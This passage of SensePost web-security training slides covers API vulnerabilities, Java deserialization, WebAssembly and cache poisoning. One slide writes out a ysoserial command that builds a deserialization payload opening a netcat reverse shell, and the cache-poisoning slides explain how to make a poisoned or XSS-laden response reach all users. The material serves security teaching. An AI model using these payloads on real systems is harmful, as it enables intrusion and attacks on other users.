<SOAP-ENV:Body xmlns:m = "http://www.sensepost.com/quotations">
<m:GetQuote>
<m:QuotesName>ACME</m:QuotesName>
</m:GetQuote>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
117 SensePost Training
API Vulnerabilities

SOAP:
• Web Service Definition Language (WSDL) defines a web service, which includes
methods and location of the service.
• XML based.
• WSDL will inform you what operations are available on the service.
• Can use WSDL to build a SOAP message to interact with the web service.
• WSDL URL is usually found by adding ?WSDL or /WSDL after the service URL,
i.e. http://site.local/service?WSDL
• SoapUI can be used to test SOAP endpoints, takes in a WSDL. SoapUI can be
configured to use Burp as a proxy.

118 SensePost Training


API Vulnerabilities

How to spot ReST/SOAP


• Look at previous examples
• Identifying ReST
• URLs containing nouns
• Each resource is unique
• No HTML/JavaScript returned
• Often called via AJAX
• Identifying SOAP
• XML format
• Contains SOAP Envelope and Body element
119 SensePost Training
API Vulnerabilities

Vulnerabilities in SOAP / REST


• Similar vulnerabilities to that of normal web applications i.e. injection (SQL,
NoSQL, Command, etc)
• Inadequate access controls (Insecure Direct Object Reference)
• No authentication required
• Often private APIs exposed publicly
• Lack of rate limiting

120 SensePost Training


Practical 24: 20 Min

121 SensePost Training


Java Deserialization

Common vulnerability
• Need to transfer a Java Object via HTTP?
– Serialize it to bytes, and then Base64 encode it
– Base64 Java object starts with r0O.
– Attacker can change the type of object, choose one that when recreated will execute
code
– Various common classes allow such functionality, i.e. CommonCollections6
– Class has to be within class path
– How to make binary object payload?
» ysoserial CommonsCollections6 'nc 10.50.30.50 3333 -e /bin/sh'
» Need to pipe to base64
» base64 -w0
» Becomes
ysoserial CommonsCollections6 'nc 10.50.30.50 3333 -e /bin/sh' | base64 -w0
122 SensePost Training
Practical 22: 20 Min

123 SensePost Training


WebAssembly
• JavaScript is "slow" compared to native execution.
• Push for faster execution of JavaScript code led to near native execution times - Need to go
faster!
• asm.js - a reduced subset of JS instructions for faster execution, but didn't universally catch
on.
• WebAssembly next attempt - compiles to a binary format, i.e. WASM files that executes
very quickly.
• Can compile from languages such as C and C++ to WASM.
• WASM is a binary format - a "human friendly" text format called Web Assembly Text (WAT)
also exists. Can compile from WAT to WASM.
• Use JavaScript and browser support to load and execute WASM files.
• JavaScript can call WASM functions and visa versa.
• Can send parameters to WASM functions from JavaScript and visa versa.
• Can read memory of WASM from JavaScript.
124 SensePost Training
WebAssembly

• WebAssembly has some security implementations.


• It uses the same the security model as JavaScript, i.e. SandBox, SOP etc.
• Vulnerable C code will be vulnerable in WebAssembly.
• Unsafe functions can cause buffer overflows - won’t result in code execution, but
rather a variable will be overwritten by another.
• Can cause XSS if static variable is reflected on a page verbatim, and that variable
is overwritten from a neighbouring variable which takes input from JS Example:
Variable1 -> "Hello! " Variable2 -> Input from user. Variable 2 is overwritten with a
large string, affecting variable 1 on the stack, this becoming something else.

125 SensePost Training


WebAssembly
• Binary WASM files can be decompiled to C, C++, asm.js. Output hard to understand.
• Can be disassembled to text based WAT files using wasm2wat - a bit easier to
understand.
• WebAssemly is stack based.
• A stack is a data structure onto which data can be added ( push ) and removed ( pop ).
Pop also returns the removed data back.
• Example:
• push 10
• push 5
• pop
• push 6
Resulting stack:
• 6
• 10
126 SensePost Training
WebAssembly
• WebAssembly defines various stack-based instructions
• Example : Add 5 to 10
• i32.const 10 # defines a constant value of 10, add it to the stack
• i32.const 5 # defines a constant value of 5, add it to the stack
• i32.add # adds last two values on the stack together. Result on stack
• Other math commands i.e. i32.sub (subtracts)

• Conditional checks:
• i32.eqz - Is the value on the stack equal to 0?
• i32.eq - Are the last two values on the stack equal?
• i32.ne - Are the last two values on the stack not equal?
• i32.gt_s - Is the one value on the stack larger than the other?
• i32.lt_s - Is the one value on the stack less than the other?

• Boolean conditions:
• int32.and - Boolean and of the last two values on the stack
• int32.not - Boolean not of the last two values on the stack
• int32.or - Boolean or of the last two values on the stack
127 SensePost Training
WebAssembly
• Functions are often referred to by a number, i.e. func.
• Human friendly names that are exported are mapped to the number.
• Functions take in a number of parameters without variable names.
• Functions also specify a return type.
• Place parameter on the stack using local.get
• Starts counting at 0, to place the first parameter on the stack use local.get 0
• Example: add two numbers
(func (;1;) (result i32) (local i32 i32)
local.get 0
local.get 1
I32.add
<...other data..>
(export "_add" (func 1)

128 SensePost Training


WebAssembly

• Common pitfall: Remember that parameters in WebAssembly functions start at 0


• Input1 from JS is thus local.get 0
• Input2 from JS is thus local.get 1

129 SensePost Training


Practical 23: 20 Min

130 SensePost Training


Cache Poisoning

• A cache is a temporary storage for recently accessed data.


• Reduces the time taken to access the data again.
• Web servers often cache frequently accessed pages.
• Reduces load from web servers.
• CDNs and proxies often cache responses as well.
• Browsers also implement a cache.
• Caches work on constructing a key value based on data within the request. The response is then stored
under that key value.
• For example, the headers, cookies, URL, query parameters all make part of the key.
• If the request is the same, the key is the same, then the returned response will be the same.
• A web server can instruct any caching application what extra variable should be considered part of the key
using the VARY header. For instance, we may want to add the Cookie header to the key.
• Pages may have unkeyed inputs - variables that are not taken into account in the construction of the key.
This could be a cookie, a header, query parameter, etc.

131 SensePost Training


Cache Poisoning

• If a user specifies an unkeyed input, and that input changed the page, the changed
page will be shown to all other users until the cache expires.
• Unkeyed inputs allow an attacker to cache a certain page that will be served to
other users, i.e. cache poisoning.
• The effect of cache poisoning depends on the effect of the unkeyed input. For
instance, changing the unkeyed Cookie parameter language to Polish may cause
the Polish version of the site to be cached for everyone.
• If the unkeyed input parameter is susceptible to reflective XSS, the reflective XSS
will be cached and served to all users until the cache expires.

132 SensePost Training


Cache Poisoning
• We can discover unkeyed inputs with Param Miner in Burp.
• With Param Miner, click right on a request in Proxy HTTP History, and click either:
• Guess GET parameters
• Guess Cookie parameters
• Guess headers !
• When searching for unkeyed inputs, we don't want to poison everyone in an
uncontrolled way. We add a cache buster that makes sure that we are the only one
that will access the cached copy. For example, we add the query param fbcd=1 to
the URL.
• Param Miner can do this for us by clicking the
• Add 'fcbz' cachebuster' option
• Output shown in the Extender tab
• Click on Param Miner -> Output
133 SensePost Training
Cache Poisoning

• Once the unkeyed input is found, we can exploit via Repeater.


• We can establish if we got a cached response by looking at the headers in the response.
• X-Cache: HIT shows that we have received a cached copy.
• The Age response header shows how long that copy has been cached for.
• The Cache-Control: max-age response header indicates the max time a page will be cached
for.
• By subtracting the Age number from the max-age number, you can find out when the cache
will expire.
• If you send a request with an unkeyed input just when the cache expires the response will be
cached.
• X-Cache: MISS means that no cache was found - the response to our request has been
cached.

134 SensePost Training


Practical 25: 25 Min
Important to remove the extension afterwards

135 SensePost Training


Summary

136 SensePost Training


Key Takeaways

• Web applications can have various vulnerabilities.


• Always lookout for user input and sanitize or block malicious entries.
• Identifying vulnerabilities is easy when you know what to look for.
• Always test the obvious assumptions.
• Lots of other techniques, the concepts are important:
– Client side controls are inefficient.
– Injection occurs when languages are dynamically created using
user input.
– Lack of proper A&A checks often lead to problems.
– Never trust the user or their system.

137 SensePost Training


Thanks

https://orangecyberdefense.com

You might also like